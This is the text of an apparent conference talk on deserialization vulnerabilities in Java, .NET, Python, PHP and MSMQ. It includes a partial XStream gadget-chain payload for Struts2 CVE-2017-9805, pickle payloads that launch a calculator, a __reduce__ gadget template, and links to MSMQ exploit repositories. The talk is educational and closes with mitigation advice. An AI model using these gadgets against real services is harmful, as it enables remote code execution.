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Serialization and Deserialization Vulnerabilities
- 2. Intro to Serialization/Deserialization Overview In Code Real-Life Scenarios Languages, Frameworks, Exploitation Java .NET Python PHP? Go? Built-in Deserialization Attacks Conclusions Best Practices and Mitigation Basics AGENDA
- 3. You’ll probably enjoy this most if you have: Some familiarity with code Fundamental exploitation Chill regarding over-simplifications The ability to GO FAST, because we gonna ASSUMPTIONS
- 4. AppSec Researcher TL @ Checkmarx (2 yrs) Formerly a Senior Consultant @ Cisco’s COE – RT, PT (2.5 yrs) 7 years actively poking s*it until it explodes Father of one epic girl and one shaggy doggo Verbose AF Opinions (and naughty words) are my own and do not reflect my employer’s, obviously ABOUT ME DorTumarkin Dor.Tumarkin@Checkmarx.com
- 5. "Serialization is the process of translating data structures or object state into a format that can be stored or transmitted and reconstructed later." - Wikipedia
- 6. INTRO TO SERIALIZATION Can be divided into 3 types of serialization formats Language native – specific for a language
- 7. INTRO TO SERIALIZATION Can be divided into 3 types of serialization formats Language Native – specific for a language Generic – CSV, JSON, YAML, XML
- 8. INTRO TO SERIALIZATION Can be divided into 3 types of serialization formats Language Native – specific for a language Generic – CSV, JSON, YAML, XML Specialized – Protobuf, MessagePack, CBOR (Out of scope)
- 9. INTRO TO DESERIALIZATION The serialized object can then be transmitted over a network, stored in a file, written to a DB Most standard serializers will work with all native serializable data structures, which can, themselves, often reference almost any class.
- 10. INTRO TO DESERIALIZATION It’s kind of like making Soup in a Cup You take a bowl of soup And you dehydrate it into a powder Checkmarx is not sponsored by any soup vendors All rights belong to their respective owners
- 11. INTRO TO DESERIALIZATION The powdered soup can then be stored, or distributed Want soup? Just add water!
- 12. DESERIALIZATION IN CODE A basic example of Deserialization in Java, using XStream, a very popular XML serializer: 1. int id = 1; 2. String name = "John Doe"; 3. String address = "1 Elm St."; 4. String[] items = new String[] {"Alarm Clock", "Baseball Bat"} ; 5. ATestingClass testingObj = new ATestingClass(id, name, address, items); 6. XStream xstream = new XStream(); 7. System.out.println(xstream.toXML(testingObj));
- 13. DESERIALIZATION IN CODE The console output is: <ATestingClass> <id>1</id> <name>John Doe</name> <address>1 Elm St.</address> <items> <string>Alarm Clock</string> <string>Baseball Bat</string> </items> </ATestingClass> This format can be easily transmitted, stored, etc.
- 14. DESERIALIZATION IN CODE This object can then be reconstructed from the XML XStream produced earlier: 1 ATestingClass newATestingClass = 2 (ATestingClass)xstream.fromXML(serializedATestingClass); 3 4 System.out.println(newATestingClass.getName()); Which would produces the following output: John Doe
- 15. DESERIALIZATION CAVEATS The most significant thing to consider here is that a class must be identical in types between both source (serialized) and destination (deserialized) – otherwise, errors may occur
- 16. REAL WORLD USE CASES APIs – for example, Struts2 Rest API uses deserialization to convert XMLs to objects Saving current application state to a file/DB
- 17. REAL WORLD USE CASES Server-to-Server distributed workload - e.g Pickling in Python is often used to distribute workload across processes and systems Many more!
- 18. ISN’T SERIALIZATION AMAZING?? Wait a minute... Rewind a Bit
- 19. REAL WORLD USE CASES Server-to-Server distributed workload - e.g Pickling in Python is often used to distribute workload across processes and systems Many more!
- 20. The serialized object can then be transmitted over a network, stored in a file, written to a DB Most standard serializers will work with all native serializable data structures, which can, themselves, often reference INTRO TO DESERIALIZATION almost any class.
- 22. ACKNOWLEDGEMEN TS • Marshalling Pickles • ysoserial Chris Frohoff • Friday the 13th JSON Attacks • ysoserial.netObjectDataProvider Oleksandr Mirosh Alvaro Munoz • Are You My Type? Breaking .NET Through Serialization • ysoserial.netTypeConfuseDelegate James Forshaw • Disclosing CVE-2017-9805 & Exploit Gadget Man Yue Mo
- 25. DESERIALIZATION EXPLOITATION DEMO Struts2 CVE-2017-9805 REST-API-SHOWCASE Demo
- 26. DESERIALIZATION EXPLOITATION DEMO Struts 2 Server Struts 2 REST API
- 28. ProcessBuilder.start(“cmd”, “/c calc”) DESERIALIZATION EXPLOITATION DEMO
- 29. EXPLOITATION – GO GO GADGET! This is an example of an Apache Commons based gadget chain (more later) Commons is very popular Part of Struts2 already Very difficult to detect with heuristics <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator" /> <next class="java.lang.ProcessBuilder"> <command> <string>cmd</string> <string>/c</string> <string>calc</string>
- 30. DESERIALIZATION EXPLOITATION DEMO Let’s Check the Server
- 31. DESERIALIZATION EXPLOITATION What just happened…? The naïve deserializer inside Struts2’s Rest API (which is, again, XStream) does not restrict which classes that can be deserialized by XStream! And calls the default XStream constructor:
- 32. DESERIALIZATION EXPLOITATION This has since been fixed: plugins/rest/src/main/java/org/apache/struts2/rest/handler/AllowedClassNames.java
- 33. EXPLOITATION – GO GO GADGET! Gadget Chains are a nickname for nested, serialized objects Chains what deserialization does: Sets instance variables Instance methods are automatically invoked
- 34. Init HashMap Attack Payload EXPLOITATION – STRUTS2 GADGET CALL FLOW Key .hashCode() NativeString .getStringValue() CharSequence .toString() Base64Data .toString() Base64Data .get() (CipherInput Stream) InputStream .read() Cipher .Update() Cipher .chooseFirst Provider() Iterative calls to Iterator.next() new ProcessBuilder() ProcessBuilder.start()
- 35. EXPLOITATION – GO GO GADGET! They can become extremely difficult to design Must live off the land - use available classes Must parse However- don’t always have to complete deserialization
- 37. Consider the following code: And the following object (in the same namespace as Order): .NET GADGETS
- 38. .NET GADGETS Working as intended!
- 39. .NET GADGETS Cool. But what would JsonConvert.DeserializeObject() do with this guy? ysoserial.net/ObjectDataProvider
- 40. DESERIALIZATION EXPLOITATION DEMO (Order)JsonConvert.DeserializeObject() Press Enter to Parse Evil JSON
- 41. .NET GADGETS “Safe” deserialization is possible: Bad
- 42. .NET GADGETS “Safe” deserialization is possible: Implementation uses the generic notation as the expected Type, and fails on time Without it, anything gets deserialized There are ways to have multiple types, of course The bigger issue is – usage is vague Good
- 43. .NET GADGETS What exception was thrown? Since casting was of the wrong object, an exception occurred TOO LATE
- 44. UNTYPED DESERIALIZATION EXPLOITATION DEMO Python Pickle Demo
- 45. UNTYPED DESERIALIZATION EXPLOITATION DEMO (i__main__ Trade p0 (dp1 S'userID' p2 S'12345' p3 sS'broker' p4 S'John Doe' p5 sb. Consider the following Python code:
- 46. UNTYPED DESERIALIZATION EXPLOITATION DEMO Trade object deserialized; broker name is:John Doe Next, consider deserialization:
- 47. DESERIALIZATION IN PYTHON Strictly typed languages would have an easier time at looking ahead at classes during construction Untyped languages, on the other hand…
- 48. DESERIALIZATION IN PYTHON cposix system p1 ((lp2 S'gnome-calculator' p3 atRp4 . cnt system p1 ((lp2 S'calc.exe' p3 atRp4 . Windows Sample Linux Sample
- 49. UNTYPED DESERIALIZATION EXPLOITATION DEMO Unpickling Code Press Enter to pickle.loads()
- 50. DESERIALIZATION IN PYTHON Generating a Python gadget for pickles is simple: __reduce__ provides the Pickle-able form of a method and args tuple Basically spring-loaded code injection bombs class RunCalc(object): def __reduce__(self): return (os.system, (["calc.exe"],)) print pickle.dumps(RunGnomeCalc())
- 51. DESERIALIZATION IN UNTYPED LANGUAGES PHP built-in deserialization is very… specific? Deserialization only triggers specific magic methods (__wakeup, __destruct) Sets members without constructor
- 52. DESERIALIZATION IN UNTYPED LANGUAGES PHP’s own limitationsdesign saves it: Built-in methods are actually “language constructs” Not part of any class Essentially “white-lists” to custom classes Can still be exploited under certain conditions for many things, including RCE …contextually, more-so than Java/.NET
- 53. POP QUIZ How would deserialization in Go look like? More or less complicated to exploit?
- 54. ROOT CAUSE At this point some common threads are very noticeable: Deserialization streamlines object construction from string/bytes Dangerous IFF you naïvely deserialize tainted inputs! Never trust those! Remote naïve deserialization is super dangerous, tons of RCE samples
- 55. ROOT CAUSE But in many cases deserialization is only local or trusted And there are alternatives in APIs Not like there are whole technologies designed to distribute objects via serialization, right?
- 56. EXPLOITING DISTRIBUTED SYSTEMS WITH BUILT- IN DESERIALIZATION
- 58. MESSAGE QUEUES Message Queues literally distribute messages via a queue Agnostic MQs just send strings or bytes (Rabbit, Kafka), which can be wrapped with senders and receivers
- 59. DESERIALIZATION IN MESSAGE QUEUES But some allow sending objects! End-to-End: Serialize Publish Subscribe Deserialize So… are end-to-end object MQs basically an RCE delivery system?
- 60. DESERIALIZATION IN MESSAGE QUEUES Java’s JMS is well documented as vulnerable Many Java samples available “Pwning Your Java Messaging” – BH2016, by Matthias Kaiser public void onMessage(Message message) { try { ObjectMessage objectMessage = (ObjectMessage) message; objectMessage.getObject(); //BOOM
- 61. DESERIALIZATION IN MESSAGE QUEUES Begs the question - what about .NET? It has Microsoft Message Queue! (MSMQ) Ancient Still in use though :D
- 62. DESERIALIZATION IN MESSAGE QUEUES MSMQ Server is a Windows Feature Uses two object serialization formatters: XML Binary
- 63. DESERIALIZATION IN MESSAGE QUEUES Embarked on some Research™! The only reference we found to these formatters in a security context was:
- 64. DESERIALIZATION IN MESSAGE QUEUES
- 65. DESERIALIZATION IN MESSAGE QUEUES
- 67. MSMQ DEMO Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
- 68. MSMQ EXPLOITATION DEMO Basic MSMQ Send & Receive
- 69. MSMQ EXPLOITATION DEMO Malicious Message Sent Press Enter to Receive…
- 70. DESERIALIZATION IN MESSAGE QUEUES MSDN samples being dangerous isn’t great But is this enough? Is there something a little more official? Maybe it’s just bad because of brevity?
- 71. MSMQ EXPLOITATION DEMO MSMQ LargeMessageQueue Microsoft Sample Exploit Demo https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples /netds/messagequeuing/LargeMessageQueue
- 72. MSMQ EXPLOITATION DEMO Sample Microsoft application for sending and receiving binary
- 73. MSMQ DEMO Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
- 74. MSMQ EXPLOITATION DEMO And Now to Receive…
- 75. MSMQ EXPLOITATION DEMO BinaryMessageFormatter is set: And as soon as you step over .Body…
- 76. MSMQ EXPLOITATION DEMO Exploit utilizes ysoserial.netTypeConfuseDelegate gadget as message body to attack .NET 4 https://github.com/Dor-Tumarkin/MSMQ- BinaryMessageFormatter-Exploit-for-.NET-4.5 Also successfully modified the ysoserial.netActivitySurrogateSelector gadget to work with original target version, .NET 3.5 https://github.com/Dor-Tumarkin/MSMQ- BinaryMessageFormatter-Exploit-for-.NET-3.5
- 77. DESERIALIZATION IN MSMQ MSMQ with BinaryMessageFormatter (BMF): Exploitable by default Cannot explicitly set types Intended for remote use
- 78. DESERIALIZATION IN MSMQ In what scenarios is BinaryMessageFormatter used? Complex objects Large messages High-throughput Not particularly common in open-source, though Observed traces in some middleware implementations Also in some workload distribution code
- 79. DESERIALIZATION IN MSMQ It is recommended in various places, such as O’REILLY’s “C# Cookbook” (2015 4th Edition)
- 80. DESERIALIZATION IN MSMQ Conclusion: DON’T READ BOOKS
- 81. Anyway, when confronted with a vulnerable sample: DESERIALIZATION IN MSMQ
- 82. Anyway, when confronted with a vulnerable sample: DESERIALIZATION IN MSMQ
- 83. DESERIALIZATION IN MSMQ You know who were actually good sports about it? O’Reilly!
- 85. DESERIALIZATION – OTHER DANGERS Deserialization errors will throw exceptions that may hurt the flow of the application.
- 86. DESERIALIZATION – OTHER DANGERS In some languages or implementations, the object is built from reflection, or with “default” language constructors …possibly bypassing any setter or constructor checks
- 87. DESERIALIZATION – OTHER DANGERS In other words – can’t assume anything about values and logic!
- 89. DESERIALIZATION – AN INDUSTRY PERSPECTIVE Critical vulnerabilities found in: WebLogic WebSphere JBoss Jenkins OpenNMS Struts2 Liferay Coldfusion Multiple Cisco products The list goes on.
- 90. DESERIALIZATION – AN INDUSTRY PERSPECTIVE Part of OWASP Top 10 2017! A8 – Insecure Deserialization It’s technically “A1 – Injection” in 2013, but got its own category in 2017, particularly with all that media buzz (and industry tears)
- 91. DESERIALIZATION – AN INDUSTRY PERSPECTIVE Remote Code Execution “CVSS 10” Vulnerabilities Complete CIA obliteration Overwrite/Corrupt Objects Exceptions, DoS
- 92. DESERIALIZATION – AN INDUSTRY PERSPECTIVE [Java] Serialization was a horrible mistake made in 1997 [1] Oracle is planning on dropping serialization support in Java. This does not matter. [1]-https://www.infoworld.com/article/3275924/java/oracle- plans-to-dump-risky-java-serialization.html
- 94. WRONG WAYS TO MITIGATE Catch exception from failed deserialization Too late, possibly irrelevant, you lose.
- 95. WRONG WAYS TO MITIGATE Assert correct type Obviously too late You lose again
- 96. ACTUAL MITIGATIONS NEVER DESERIALIZE UNTRUSTED DATA In Untyped languages With Untyped deserializers Or dangerous types! Choose a white-list approach
- 97. ADDITIONAL MITIGATION STEPS TEST your deserializers, even when using well defined white-lists TEST to fail before object creation TEST if your deserializer goes through setters and ctors! If it doesn’t, re-implement logic in deserialization
- 98. MITIGATION BY AVERSION If you’re still paranoid, maybe build your own data-to-constructor transformer instead? Poor performance Requires work Secure(?)
- 99. CONCLUSIONS Deserialization is kinda awesome Too awesome? Classic automagic! Deserialization can be deadly Still a lot of potential areas to explore Never trust a deserializer – always test it
- 100. QUESTIONS?
Editor's Notes
- I guess you can remove the GIFs if you REALLY feel like it